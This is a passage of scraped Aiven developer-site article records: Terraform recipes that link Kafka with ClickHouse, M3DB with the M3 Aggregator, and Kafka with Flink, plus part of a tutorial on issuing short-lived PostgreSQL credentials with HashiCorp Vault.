the variables to avoid including sensitive information in source control. The ``variables.tf`` file defines the API token, the project name, and the prefix for the service name.\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n\n``*.tfvars`` file\n\nUse it to indicate the actual values of the variables so that they can be passed (with the ``-var-file=`` flag) to Terraform during runtime and excluded later on. Configure the ``var-values.tfvars`` file as follows:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file \n\nThe following Terraform script initializes both Aiven for Apache Kafka and Aiven for ClickHouse services, creates the service integration, the source Apache Kafka topic, and the Aiven for ClickHouse database.\n\n```toml\nresource \"aiven_kafka\" \"kafka\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"kafka-gcp-eu\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_kafka_topic\" \"source\" {\n project = var.project_name\n service_name = aiven_kafka.kafka.service_name\n partitions = 50\n replication = 3\n topic_name = \"iot_measurements\"\n}\n\nresource \"aiven_clickhouse\" \"clickhouse\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"startup-8\"\n service_name = \"clickhouse-gcp-eu\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_service_integration\" \"clickhouse_kafka_source\" {\n project = var.project_name\n integration_type = \"clickhouse_kafka\"\n source_service_name = aiven_kafka.kafka.service_name\n destination_service_name = aiven_clickhouse.clickhouse.service_name\n clickhouse_kafka_user_config {\n tables {\n name = \"edge_measurements_raw\"\n group_name = \"clickhouse-ingestion\"\n data_format = \"JSONEachRow\"\n columns {\n name = \"sensor_id\"\n type = \"UInt64\"\n }\n columns {\n name = \"ts\"\n type = \"DateTime64(6)\"\n }\n columns {\n name = \"key\"\n type = \"LowCardinality(String)\"\n }\n columns {\n name = \"value\"\n type = \"Float64\"\n }\n topics {\n name = aiven_kafka_topic.source.topic_name\n }\n }\n }\n}\n\nresource \"aiven_clickhouse_database\" \"measurements\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n name = \"iot_measurements\"\n}\n```\n\n## Execute the files \n\nRun the following command:\n\n```bash\nterraform init\n```\n \nThe ``init`` command performs initialization operations to prepare the working directory for use with Terraform. For this recipe, ``init`` automatically finds, downloads, and installs the necessary Aiven Terraform Provider plugins.\n\nRun the following command:\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nThe ``plan`` command creates an execution plan and shows the resources to be created (or modified). This command doesn't actually create any resources but gives you a heads-up on what's going to happen next.\n\nIf the output of ``terraform plan`` looks as expected, run the following command:\n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n \nThe ``terraform apply`` command creates (or modifies) your infrastructure resources.\n\n## Check out the results\n\n* Resource ``aiven_clickhouse`` creates an Aiven for ClickHouse service with the project name, the cloud name (provider, region, zone), the Aiven service plan, and the service name as specified in the ``services.tf`` file.\n* Resource ``aiven_clickhouse_database`` creates a database that can be used to further transform the ingested data and perform analytics on it.\n* Resource ``aiven_kafka`` creates an Aiven for Apache Kafka cluster.\n* Resource ``aiven_kafka_topic`` creates Apache Kafka topic ``iot_measurements``.\n* Resource ``aiven_service_integration`` creates the integration between the Aiven for Apache Kafka and the Aiven for ClickHouse service.\n\nThe service integration creates a database to insert the ingested data to. In this instance, the database name is ``service_kafka-gcp-eu`` (it depends on the Kafka service name) and the table name is ``edge_measurements_raw`` as specified in the code.\n\n## Learn more\n\nWhen you use this recipe, parameters and configurations will vary from those used in this article. For Aiven for Apache Kafka and Aiven for ClickHouse advanced parameters, a related blog, and instructions on how to get started with Aiven Terraform Provider, see [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html).\n\n* You can [create databases and tables](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html#update-apache-kafka-integration-settings) so that you can [read and store your data](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html#read-and-store-data).\n* You can also [create a materialized view](https://aiven.io/docs/products/clickhouse/howto/materialized-views.html) to store the Kafka® messages in Aiven for ClickHouse.\n* [How to send and receive application data from Apache Kafka® using Apache Avro™](https://aiven.io/developer/how-to-send-and-receive-application-data-from-apache-kafka)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-30T09:09:04.401Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"4c2712ce23ea","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-23T07:48:51.992Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9c0543162ffd6af1c019f6e8937c6770b21318e4-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-source-for-clickhouse"},"subtitle":"Deploy an Aiven for Apache Kafka® node and integrate it as a data source with Aiven for ClickHouse® using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"9b6cad2a1b3c","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e127fafb52fe","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"901e5faf2d4a","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"title":"Aiven for Apache Kafka® as a source for Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2023-08-22T09:31:15Z","_id":"7d515c07-bc4f-4993-80d8-24f7234814b5","_rev":"VeNKqGNmt13PzvGhqsSo7g","_type":"devArticle","_updatedAt":"2024-01-29T15:47:50Z","body":"[Aiven for M3DB](https://aiven.io/docs/products/m3db) is a powerful time-series database that can be used when handling very large volumes of metrics and scalability is a concern. [Aiven for M3 Aggregator](https://aiven.io/docs/products/m3db/concepts/m3-components.html) can store your data at various resolutions for different workloads at scale. \n\nTogether, they are a perfect choice to aggregate, store, and query large time-series data like internet of things (IoT) sensor readings. \n\nThis example shows how to use the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) to create an Aiven for M3 service, an Aiven for M3 Aggregator service, and the related service integration programmatically. \n\n:::mermaid\n\n graph LR\n M3[(M3DB + M3 Coordinator)]\n M3Agg[M3 Aggregator]\n M3 -.-\u003e M3Agg\n\n:::\n\nIn the above diagram, the M3 service contains both M3DB and M3 Coordinator. The service integration between M3DB + M3 Coordinator and M3 Aggregator brings unaggregated metrics from M3 Coordinator to M3 Aggregator. \n\nWhile you can perform aggregations without an M3 Aggregator node, a dedicated metrics aggregator can help in cases when the downsampling workload is slowing down the ingestion of metrics by the main M3DB.\nFor example, to aggregate all IoT metrics from the last two months into 10-minute points. \n\nThe following Terraform recipe will create an Aiven for M3 service, an Aiven for M3 Aggregator service, and the related service integration.\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, and ``service_name_prefix``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n\nvariable \"service_name_prefix\" {\n description = \"A string to prepend to the service name\"\n type = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nservice_name_prefix = \"\u003cYOUR-CHOICE-OF-A-SERVICE-NAME-PREFIX\u003e\" \n```\n\n## Services.tf file \n\n``services.tf`` file:\n\n```toml\nresource \"aiven_m3db\" \"demo-m3db\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-8\"\n service_name = join(\"-\", [var.service_name_prefix, \"m3db\"])\n\n m3db_user_config {\n m3db_version = 1.5\n\n namespaces {\n name = \"m3_default_unaggregated_ns\"\n type = \"unaggregated\"\n options {\n retention_options {\n retention_period_duration = \"2h\"\n }\n }\n }\n namespaces {\n name = \"m3_lowRes_aggregated_ns\"\n type = \"aggregated\"\n resolution = \"10m\"\n options {\n retention_options {\n retention_period_duration = \"6d\"\n }\n }\n }\n namespaces {\n name = \"m3_medRes_aggregated_ns\"\n type = \"aggregated\"\n resolution = \"2m\"\n options {\n retention_options {\n retention_period_duration = \"18h\"\n }\n }\n }\n namespaces {\n name = \"m3_highRes_aggregated_ns\"\n type = \"aggregated\"\n resolution = \"10s\"\n options {\n retention_options {\n retention_period_duration = \"4h\"\n }\n }\n }\n }\n}\n\n\n// Setting up aggregation\n\nresource \"aiven_m3aggregator\" \"demo-m3a\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-8\"\n service_name = join(\"-\", [var.service_name_prefix, \"m3a\"])\n\n m3aggregator_user_config {\n m3aggregator_version = 1.5\n }\n}\n\nresource \"aiven_service_integration\" \"int-m3db-aggr\" {\n project = var.project_name\n integration_type = \"m3aggregator\"\n source_service_name = aiven_m3db.demo-m3db.service_name\n destination_service_name = aiven_m3aggregator.demo-m3a.service_name\n}\n```\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\n``namespaces`` in M3 is used to determine how metrics are stored and retained. There is always one unaggregated namespace which is configured under the ``demo-m3db`` resource ``namespaces`` block. There are three aggregated namespaces defined within the same block for different resolution settings.\n\n- ``m3_default_unaggregated_ns`` keeps the unaggregated data for 2h (retention time)\n- ``m3_lowRes_aggregated_ns`` aggregates the data to 10m (resolution) and keeps the data for 6d (retention time)\n- ``m3_medRes_aggregated_ns`` aggregates the data to 2m (resolution) and keeps the data for 18h (retention time)\n- ``m3_highRes_aggregated_ns`` aggregates the data to 10s (resolution) and keeps the data for 4h (retention time)\n\nWith high resolution (more samples per second), you'll have more data points for a given time compared to low resolution. More data points will require more storage, and that's why low resolution data is retained for a longer period of time than high resolution data. \n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for Aiven for M3DB](https://aiven.io/docs/products/m3db/reference/advanced-params.html)\n- [Configuration options for Aiven for M3 Aggregator](https://aiven.io/docs/products/m3db/reference/advanced-params-m3aggregator.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Metrics and graphs with M3 and Grafana®](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T09:31:13.419Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"134102927369","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-66b4eb00bcc962829910eca96ae0fad22ea0a81e-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/m3-aggregator-integration"},"subtitle":"Set up an Aiven for M3 database, a M3 aggregator service, and integrate the two, then deploy using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"0b4352797b78","_ref":"5e22b8bd-9aba-4abc-84fe-60a512231fd9","_type":"tag"},{"_key":"26044d244a66","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Set up M3-related services using Aiven Terraform Provider"} {"__i18n_lang":"en","_createdAt":"2023-08-21T07:46:05Z","_id":"2038f4c7-4494-4d3a-964e-7cf95e608128","_rev":"VeNKqGNmt13PzvGhqsSdc4","_type":"devArticle","_updatedAt":"2024-01-29T15:45:28Z","body":"This example shows how to set up an [Aiven for Apache Kafka®](https://aiven.io/kafka) service with an [Aiven for Apache Flink®](https://aiven.io/flink) integration using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs). An Apache Kafka source topic is used as a data source, and Apache Flink processes the data to do filtering or transformation, and finally write the transformed output to a sink topic.\nPlease get yourself familiar with [Aiven for Apache Flink concepts](https://aiven.io/docs/products/flink/concepts) before you start cooking.\n\nBefore looking at the Terraform script, let's visually realize how the services will be connected:\n\n:::mermaid\n\n flowchart LR\n subgraph Aiven for Apache Kafka\n SourceTopic\n end\n subgraph Aiven for Apache Flink Application\n SourceTopic--\u003e|FlinkTableMapping|FlinkSourceTable\n FlinkSourceTable --\u003e SQLtransformation\n SQLtransformation --\u003e FlinkTargetTable\n end\n subgraph Aiven for Apache Kafka\n FlinkTargetTable--\u003e|FlinkTableMapping|SinkTopic\n end\n:::\n\nImagine that you are collecting CPU usage for hundreds of machines in your data centre and these metrics are populated in an Apache Kafka topic called ``cpu_measurements``. But you're interested in learning about those machines with CPU usages higher than 85% and write the filtered messages into a topic called ``cpu_high_usage``.\n\nIf you relate the above diagram to this example, both source and target Apache Kafka topics are part of the same Apache Kafka cluster. To do the processing on the data, you'll be using an Aiven for Apache Flink Application which is an abstraction layer on top of Apache Flink SQL that includes all the elements related to a Flink job to help build your data processing pipeline. \n\nThe following Terraform script stands up both Apache Kafka and Apache Flink services, creates the service integration, source and target Apache Kafka topics, an Aiven for Apache Flink application, and the Aiven for Apache Flink application version. By design, you cannot manage the deployment resource using Aiven Terraform Provider. \nIn order to do so, you'll need to use Aiven console or Aiven CLI.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property and ``TF_VAR_project_name`` for the ``project_name`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n\n## Services.tf file\n\n```toml\n# Flink service\n\nresource \"aiven_flink\" \"demo-flink\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-8\"\n service_name = \"demo-flink\"\n}\n\n# Kafka service\n\nresource \"aiven_kafka\" \"demo-kafka\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-8\"\n service_name = \"demo-kafka\"\n}\n\n# Flink-Kafka integration\n\nresource \"aiven_service_integration\" \"flink_to_kafka\" {\n project = var.project_name\n integration_type = \"flink\"\n destination_service_name = aiven_flink.demo-flink.service_name\n source_service_name = aiven_kafka.demo-kafka.service_name\n}\n\n# Flink application\n\nresource \"aiven_flink_application\" \"demo-flink-app\" {\n project = var.project_name\n service_name = aiven_flink.demo-flink.service_name\n name = \"demo-flink-app\"\n}\n\n# Flink application version\n\nresource \"aiven_flink_application_version\" \"demo-flink-app-version\" {\n project = var.project_name\n service_name = aiven_flink.demo-flink.service_name\n application_id = aiven_flink_application.demo-flink-app.application_id\n statement = \u003c\u003cEOT\n INSERT INTO cpu_high_usage_table SELECT * FROM iot_measurements_table WHERE usage \u003e 85\nEOT\nsinks {\n create_table = \u003c\u003cEOT\n CREATE TABLE cpu_high_usage_table (\n time_ltz TIMESTAMP(3),\n hostname STRING,\n cpu STRING,\n usage DOUBLE\n ) WITH (\n 'connector' = 'kafka',\n 'properties.bootstrap.servers' = '',\n 'scan.startup.mode' = 'earliest-offset',\n 'topic' = 'cpu_high_usage',\n 'value.format' = 'json'\n )\nEOT\n integration_id = aiven_service_integration.flink_to_kafka.integration_id\n}\nsources {\n create_table = \u003c\u003cEOT\n CREATE TABLE iot_measurements_table (\n time_ltz TIMESTAMP(3),\n hostname STRING,\n cpu STRING,\n usage DOUBLE\n ) WITH (\n 'connector' = 'kafka',\n 'properties.bootstrap.servers' = '',\n 'scan.startup.mode' = 'earliest-offset',\n 'topic' = 'iot_measurements',\n 'value.format' = 'json'\n )\n EOT\n integration_id = aiven_service_integration.flink_to_kafka.integration_id\n}\n}\n\n# Kafka source topic\n\nresource \"aiven_kafka_topic\" \"source\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n partitions = 2\n replication = 3\n topic_name = \"iot_measurements\"\n}\n\n# Kafka sink topic\n\nresource \"aiven_kafka_topic\" \"sink\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n partitions = 2\n replication = 3\n topic_name = \"cpu_high_usage\"\n}\n```\n \n\n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\n- The resource ``\"aiven_flink\"`` creates an Aiven for Apache Flink resource with the project name, choice of cloud, an Aiven service plan, and a specified service name. \n- ``\"aiven_kafka\"`` resource creates an Apache Kafka cluster and two Apache Kafka topics (``cpu_measurements`` and a ``cpu_high_usage``) are created using the ``\"aiven_kafka_topic\"`` resource.\n- Similarly, the ``\"aiven_service_integration\"`` resource creates the integration between Apache Kafka and the Apache Flink service.\n- ``aiven_flink_application`` resource ``demo-flink-app`` creates the Aiven for Apache Flink application whereas ``aiven_flink_application_version`` resource ``demo-flink-app-version`` contains all the necessary specifications.\n\nFor example, the application version resource creates two Flink tables, ``iot_measurements_table`` as the source table and ``cpu_high_usage_table`` as the sink table with the specified schema.\n\nOnce the Terraform script is run, all of the resources from the manifest are created. You have declared your data pipeline, but the execution has not started yet. For this, you need to create a deployment.\n\nFrom the Aiven console, go to the ``Application`` tab under the newly created Aiven for Apache Flink service. Click on ``demo-flink-app`` and click **Create deployment**. If this is your first deployment, you won't have an option to start from a previous state (stored as a [savepoint](https://aiven.io/docs/products/flink/concepts/savepoints).\nAccept the default setting or make necessary selection and then deploy. \n\nTo test the data streaming pipeline, you can use the [fake data producer for Apache Kafka on Docker](https://github.com/aiven/fake-data-producer-for-apache-kafka-docker) making sure that in the ``conf/env.conf`` file you specify ``TOPIC=\"cpu_measurements\"`` (same topic name defined in the resource ``\"aiven_kafka_topic\" \"source\"``) and ``SUBJECT=\"metric\"`` together with the appropriate project name, service name and required credentials.\n\nIn the destination topic, defined in the resource ``\"aiven_kafka_topic\" \"sink\"``, you should see only data samples having ``usage`` above 85. A note that the fake data generates CPU usages higher than 70.\n\n\n## More resources\n\nThe parameters and configurations will vary for your case. Please refer below for Apache Kafka and Apache Flink advanced parameters, a related blog, and how to get started with Aiven Terraform Provider:\n\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/blog/first-streaming-sql-pipeline-with-apache-flink)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Advanced parameters for Aiven for Apache Kafka®](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [Advanced parameters for Aiven for Apache Flink®](https://aiven.io/docs/products/flink/reference/advanced-params.html)\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®)(https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T07:46:02.724Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"47683cd580b9","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-16T07:44:06.381Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fcc74605b4bb5e80e44c17e4522eee8b05c99e0c-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-source-sink-flink-integration"},"subtitle":"Learn how to use Apache Kafka® as a source and sink to process streaming data, and how to deploy that with Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"3180f5735f81","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"ff4ab700bf63","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"aed2042936ce","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® as source and sink with Apache Flink® to process streaming data"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:31:44Z","_id":"74ae33ca-70fe-4215-930e-3fd0f82aaa1c","_rev":"Y1Zuby3sRDA3bPurvu99kg","_type":"devArticle","_updatedAt":"2024-09-25T08:00:58Z","body":"If data infrastructure is evolving to a dynamic nature, why is it still the case that you're using static database credentials inside your organization? Not only are these shared credentials used by humans, often times the same credentials are used in all of the API calls made by the applications. This poses a huge security risk as a leaked database credential in the wrong hands can cause havoc. In this blog, I introduce the concept of dynamic credentials and use [HashiCorp Vault](https://www.vaultproject.io/) to dispense a short-lived credential to connect to [a managed PostgreSQL® service](https://aiven.io/postgresql).\n\n## Dynamic credentials improve security\n\nOne of the major challenges of _secret sprawl_ is that you might not actually know how many people or CI (Continuous Integration) jobs have access to credentials. Static credentials also never expire, which makes it challenging to allow access to someone only for the time being. The final challenge of static credentials is what do you do as a break glass procedure? In case of a major breach, how do you revoke access to your data infrastructure?\n\nA dynamic credential addresses the challenges of secret sprawl and time-bound access, as well as allowing the admin to revoke some or all of the credentials, and locking down the data infrastructure completely. The key (_pun intended_) here is centralization of your secrets where it's tightly access-controlled, frequently audited, and it's encrypted so that you reduce the surface area of an attack. \n\nIn today's example, you will setup credentials for an (imaginary) app that reads from/writes to the table `weekly_metrics_reporting` and parses some data to send project updates to stakeholders. You don't want this app to have write access to other tables, let alone contain the root database credential. In the following sections, I help you generate a short-lived credential with limited access to the database for your app.\n\n## Before you start\n\nThis is the hands-on part where you setup a PostgreSQL service and a dynamic key generation/management tool called [Vault](https://www.vaultproject.io/). This blog post assumes that you have some knowledge of these tools. In case you need an overview, you can refer to [the Aiven for PostgreSQL documentation](https://aiven.io/docs/products/postgresql/index.html) and [the HashiCorp Vault getting started guide](https://learn.hashicorp.com/tutorials/vault/getting-started-intro). \n\n![User authenticates to vault. Vault checks static credentials with db. Vault creates dynamic credentials for user. Us er connects to db using dynamic credentials.](//cdn.sanity.io/images/sczeoy4w/production/4d2816c501ee09a9ed08710a394de1c596bb9d7a-2500x1292.png)\n\n### Create a managed PostgreSQL service\n\nIf you already have a PostgreSQL instance, you can skip this part. \n\nOtherwise, create a [free trial account at Aiven](https://aiven.io/how-to-get-started-with-aiven) and then follow the instructions to [create a PostgreSQL instance](https://aiven.io/docs/products/postgresql/get-started).\n\n### Connect to PostgreSQL to create the required tables for the weekly metrics reporting app\n\nLet's create two tables - one table has the metrics reporting and the other has the employee salaries. The app should have both read and write access to the `weekly_metrics_reporting` table and no access to the `employee_salary` table. The following blocks of SQL code will help you create these two tables using the `psql` terminal tool. For this exercise, you can skip `?sslmode=require` when connecting to Aiven for Postgresql service using `psql`. When this setting is used, the server certificate is validated against the CA (certificate authority).\n\n```\npsql -h [HOST] -p [PORT] -U [USER] defaultdb\n```\n\nIf this is an Aiven for PostgreSQL service, the values for `[USER]`, `[PASSWORD]`, `[HOST]` and `[PORT]` can be copied from the \"Overview \u003e Connection Information\" on the [Aiven Console](https://console.aiven.io/) page for that service.\n\nIf you're using a local PostgreSQL database, you can replace the `[HOST]` portion with `localhost`, `[PORT]` with `5432`, and `[USER]`/`[PASSWORD]` with a valid database credential with admin-level access.\n\n1. Create two tables - `weekly_metrics_reporting` and `employee_salary`:\n\n ```\n create table weekly_metrics_reporting (\n id serial PRIMARY KEY,\n week_ending TIMESTAMP NOT NULL,\n product_downloads INT NOT NULL CHECK (product_downloads \u003e= 0),\n github_stars INT NOT NULL CHECK (github_stars \u003e= 0),\n twitter_followers INT NOT NULL CHECK (twitter_followers \u003e= 0)\n );\n ```\n\n ```\n create table employee_salary (\n emp_no INT NOT NULL PRIMARY KEY,\n salary int NOT NULL,\n name VARCHAR(30) NOT NULL,\n hire_date DATE NOT NULL\n );\n ```\n\n2. Add some data to these tables:\n\n ```\n insert into weekly_metrics_reporting (week_ending, product_downloads, github_stars, twitter_followers) values ('2022-02-25', 110005, 2300, 17500);\n insert into weekly_metrics_reporting (week_ending, product_downloads, github_stars, twitter_followers) values ('2022-03-04', 116097, 2600, 20300);\n insert into weekly_metrics_reporting (week_ending, product_downloads, github_stars, twitter_followers) values ('2022-03-11', 129000, 3300, 22800);\n ```\n\n ```\n insert into employee_salary (emp_no, salary, name, hire_date) values (123, 85000, 'best avocado', '2020-01-25');\n insert into employee_salary (emp_no, salary, name, hire_date) values (124, 65000, 'avg avocado', '2020-01-18');\n insert into employee_salary (emp_no, salary, name, hire_date) values (127, 50000, 'ok avocado', '2020-01-29');\n ```\n\n### Set up HashiCorp Vault\n\nFor a production workload, you would be running Vault in a dedicated virtual machine with high availability. For this exercise, however, you'll be installing the community version of the software on your local machine. [Download and install](https://www.vaultproject.io/downloads) Vault and start the dev server:\n\n```\nvault server -dev\n```\n\nThe dev server is a built-in, pre-configured server that is not very secure but is fine to understand the concepts and try out the tool first in a non-production environment. The above command will output an `Unseal Key` and `Root Token` for the Vault server. \n\nThe trailing part of the output from one of my test run of the `vault server -dev` command:\n\n```\nThe unseal key and root token are displayed below in case you want to\nseal/unseal the Vault or re-authenticate.\n\nUnseal Key: MZrvnzwGUlhj6HWjmdKUxQ3AJWP5s9dFOJS9c3H5cLk=\nRoot Token: s.T1C9mFSJu03gvn86CUqvRUeV\n\nDevelopment mode should NOT be used in production installations!\n```\n\nYour output for the `Unseal Key` and `Root Token` will be different. Remember to save these values somewhere. Since this is for testing purposes, you don't need to store these values securely. After that, export the address of the Vault server:\n\n```\nexport VAULT_ADDR='http://127.0.0.1:8200'\n```\n\nEvery Vault command that talks to the Vault server, uses the `VAULT_ADDR` environment variable. If this environment variable is not set, the user needs to pass the `-address` flag with every command. Once the CLI knows the address of the Vault server, it needs to know that you have the right credential to unlock the vault server. For the dev environment, the Vault server is already started in an unlocked state and the dev root token is persisted locally for use in future requests. \n\n### Configure PostgreSQL Database Secrets Engine in Vault\n\nVault secrets engines are components which store/generate secrets and are enabled at a \"path\" in Vault. By default, the secrets engine will be enabled at the name of the engine - `database` in this case. To enable the secrets engine at a different path, you can use the `-path` argument.\n\n```\nvault secrets enable database\n```\n\nI used the following command to configure Vault with the proper plugin and connection information. I'll explain some parts of the command. `vault write database` writes data to Vault at the specified path. This data can be credentials, secrets, configuration, or arbitrary data. Since we have a database configuration mounted in the path, Vault expects database specific parameters, such as `plugin_name`, `allowed_roles`, etc. In my example, I'm creating a role `metrics-readwrite` in the `defaultdb` database with a valid database credential that has the appropriate permissions to perform actions upon other database users (create, update credentials, delete, etc.). Note that typically an admin will configure Vault as your developer or application should not have the privileged database credential. Once the administrator configures Vault (a less frequent task), the developer or application can use their Vault token to request less privileged and time-bound database credentials (more frequent tasks).\n\n**Note**: Don't enter the actual username/password in the `connection_url` as Vault will give a warning if the username and password are in there directly, to ensure good security practice. The `username` and `password` fields will carry the real database credentials. \n\n```\nvault write database/config/aiven-for-postgresql-database \\\n plugin_name=postgresql-database-plugin \\\n allowed_roles=\"metrics-readwrite\" 